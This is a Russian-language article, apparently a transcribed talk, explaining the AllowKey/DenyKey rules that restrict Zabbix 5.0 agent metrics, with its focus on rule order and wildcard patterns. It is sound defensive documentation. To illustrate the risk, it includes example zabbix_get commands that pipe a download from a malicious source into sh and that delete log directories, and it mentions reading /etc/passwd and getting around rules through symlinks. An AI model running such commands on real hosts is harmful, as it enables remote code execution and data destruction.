Поддержка черных и белых списков для метрик на стороне агента

Тихон Усков, Инженер интеграции, Zabbix

Проблемы безопасности данных

В Zabbix 5.0 появилась новая функция, которая позволяет улучшить безопасность в системах с использованием Zabbix Agent и заменяет старый параметр EnableRemoteCommands.

Усовершенствование безопасности систем с использованием агента обусловлено тем фактом, что агент может выполнять большое количество потенциально опасных действий.

• Агент может собирать практически любую информацию, в том числе конфиденциального или потенциально опасного характера, из файлов конфигурации, файлов логов, файлов с паролями или любых других файлов.

Например, с помощью утилиты zabbix_get можно получить доступ к списку пользователей, их домашним каталогам, файлам с паролями и т. д.

Доступ к данным с помощью утилиты zabbix_get

ПРИМЕЧАНИЕ. Данные могут быть получены, только если агент имеет права на чтение соответствующего файла. Но, например, файл /etc/passwd/ доступен для чтения всем пользователям.

• Агент также может выполнять потенциально опасные команды. Например, ключ *system.run[]** позволяет выполнять любые удаленные команды на узлах сети, в том числе запускать из веб-интерфейса Zabbix скрипты, которые также выполняют команды на стороне агента.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• В Linux агент по умолчанию запускается без root-привилегий, тогда как в Windows он запускается как сервис от имени System и имеет неограниченный доступ к файловой системе. Соответственно, если после установки в параметры Zabbix Agent не внесены изменения, агент имеет доступ к реестру, файловой системе и может выполнять WMI запросы.

В более ранних версиях параметр EnableRemoteCommands=0 позволял только отключать метрики с ключом *system.run[]** и выполнение скриптов из веб-интерфейса, но при этом не было возможности ограничить доступ к отдельным файлам, разрешить или запретить отдельные ключи, которые устанавливались вместе с агентом, или ограничить использование отдельных параметров.

Использование параметра EnableRemoteCommand в ранних версиях Zabbix

AllowKey/DenyKey

Zabbix 5.0 помогает защититься от такого несанкционированного доступа благодаря белым и черным спискам для разрешения и запрета метрик на стороне агента.

В Zabbix 5.0 все ключи, включая *system.run[]**, разрешены, и добавлены два новых параметра конфигурации агента:

AllowKey= — разрешенные проверки;

DenyKey= — запрещенные проверки;

где — паттерн имени ключа с параметрами, в котором используются метасимволы (*).

Ключи AllowKey и DenyKey позволяют разрешить или запретить отдельные метрики по определенному шаблону. В отличие от других параметров конфигурации количество параметров AllowKey/DenyKey не ограничено. Это позволяет четко определить, что именно агент может делать в системе благодаря созданию дерева проверок — выполняемых ключей, где очень важную роль играет порядок их написания.

Последовательность правил

Правила проверяются в том порядке, в котором они внесены в конфигурационный файл. Проверка ключа по правилам происходит до первого совпадения, и как только ключ элемента данных совпадает с паттерном, он разрешается или запрещается. После этого проверка правил останавливается, и остальные ключи игнорируются.

Поэтому если элемент соответствует и разрешающему, и запрещающему правилу, результат будет зависеть от того, какое правило будет первым в конфигурационном файле.

2 разных правила с одинаковым паттерном и ключ vfs.file.size[/tmp/file]

Порядок использования ключей AllowKey/DenyKey:

1. точные правила,
2. общие правила,
3. запрещающее правило.

Например, если вам необходим доступ к файлам в определенной папке, необходимо сначала разрешить доступ к ним, после чего запретить все остальное, что не попадает под установленные разрешения. Если в первую очередь будет использовано запрещающее правило, доступ к папке будет запрещен.

Правильная последовательность

Если необходимо разрешить запуск 2 утилит через *system.run[]**, и в первую очередь будет указано запрещающее правило, утилиты запускаться не будут, потому что первый паттерн будет всегда соответствовать любому ключу, и последующие правила будут игнорироваться.

Неправильная последовательность

Паттерны

Основные правила

Паттерн — выражение с подстановочными знаками (wildcard). Метасимвол (*) соответствует любому количеству любых символов в определенной позиции. Метасимволы могут использоваться как в имени ключа, так и в параметрах. Например, можно жестко определить текстом первый параметр, а последующий указать как wildcard.

Параметры должны быть заключены в квадратные скобки [].

• system.run[* — неверно
• vfs.file*.txt] — неверно
• vfs.file.*[*] — верно

Примеры использования wildcard.

1. В имени ключа и в параметре. В данном случае ключ не соответствует аналогичному ключу, который не содержит параметр, поскольку в паттерне мы указали, что хотим получить некое окончание имени ключа и некий набор параметров.
2. Если в паттерне не использованы квадратные скобки, паттерн разрешает все ключи, которые не содержат параметры и запрещает все ключи с указанным параметром.
3. Если ключ записан полностью, а параметры указаны как wildcard, он будет соответствовать любому аналогичному ключу с любыми параметрами и не будет соответствовать ключу без квадратных скобок, т. е. будет разрешен или запрещен.

Правила заполнения параметров.

• Если подразумевается использование ключа с параметрами, параметры должны быть прописаны в файле конфигурации. Параметры должны быть указаны как метасимвол. Необходимо осторожно запрещать доступ к какому-либо файлу и учитывать, какую информацию сможет отдавать метрика при различных вариантах написания — с параметрами и без них.

Особенности написания ключей с параметрами

• Если ключ указан с параметрами, но параметры являются необязательными и указаны как метасимвол, ключ без параметров будет разрешен. Например, если вы хотите запретить получение информации о нагрузке на CPU и указываете, что ключ system.cpu.load[*] должен быть запрещен, не забывайте, что ключ без параметров вернет среднее значение нагрузки.

Правила заполнения параметров

Заметки

Настройка

• Некоторые правила не могут быть изменены пользователем, например, правила обнаружения (discovery) или авторегистрации агентов. Правила AllowKey/DenyKey не затрагивают следующие параметры:
  — HostnameItem
  — HostMetadataItem
  — HostInterfaceItem

ПРИМЕЧАНИЕ. Если администратор запрещает какой-либо ключ, при запросе Zabbix не выдает информации о том, по какой причине метрика или ключ попадают в категорию 'NOTSUPPORTED'. В log-файлах агента информация о запретах на выполнение удаленных команд также не отображается. Это сделано из соображений безопасности, но может осложнить отладку, если метрики попадают в неподдерживаемую категорию по каким-либо причинам.

• Не стоит рассчитывать на какой-то определенный порядок подключения внешних файлов конфигурации (например, в алфавитном порядке).

Утилиты командной строки

После настройки правил необходимо удостовериться, что все настроено верно.

Можно воспользоваться одним из трех вариантов:

• Добавить метрику в Zabbix.
• Протестировать с помощью zabbix_agentd. Zabbix agent c опцией -print (-p) показывает все ключи (которые разрешены по умолчанию), кроме тех, которые не разрешены конфигурацией. А с опцией -test (-t) для запрещенного ключа вернет 'Unsupported item key'.
• Протестировать с помощью zabbix_get. Утилита zabbix_get с опцией -k вернет 'ZBX_NOTSUPPORTED: Unknown metric'.

Разрешать или запрещать

Вы можете запретить доступ к файлу и удостовериться, например, с помощью утилиты zabbix_get, что доступ к файлу запрещен.

**

ПРИМЕЧАНИЕ. Кавычки в параметре игнорируются.

При этом доступ к такому файлу может быть разрешен по другому пути. Например, если на него ведет симлинк.

Рекомендуется проверять различные варианты применения задаваемых правил, а также учитывать возможности обойти запреты.

Вопросы и ответы

Вопрос. Почему для описания правил, разрешений и запретов выбрана такая сложная схема паттерна со своим языком? Почему не было возможности воспользоваться, например, регулярными выражениями, которые использует Zabbix?

Ответ. Это вопрос производительности regex, поскольку агент, как правило, один, и он проверяет огромное количество метрик. Regex — достаточно тяжелая операция, и мы не можем проверять тысячи метрик таким образом. Wildcards — универсальное, шороко применяемое и простое решение.

Вопрос. Разве файлы Include подключаются не в алфавитном порядке?

Ответ. Насколько мне известно, предсказать последовательность применения правил, если вы разносите правила по разным файлам, фактически невозможно. Я рекомендую собрать все правила AllowKey/DenyKey в одном файле Include, потому что они взаимодействуют друг с другом, и подключать этот файл.

Вопрос. В Zabbix 5.0 опция 'EnableRemoteCommands=' в конфигурационном файле отсутствует, и доступны только AllowKey/DenyKey?

Ответ. Да, все верно.

Спасибо за внимание!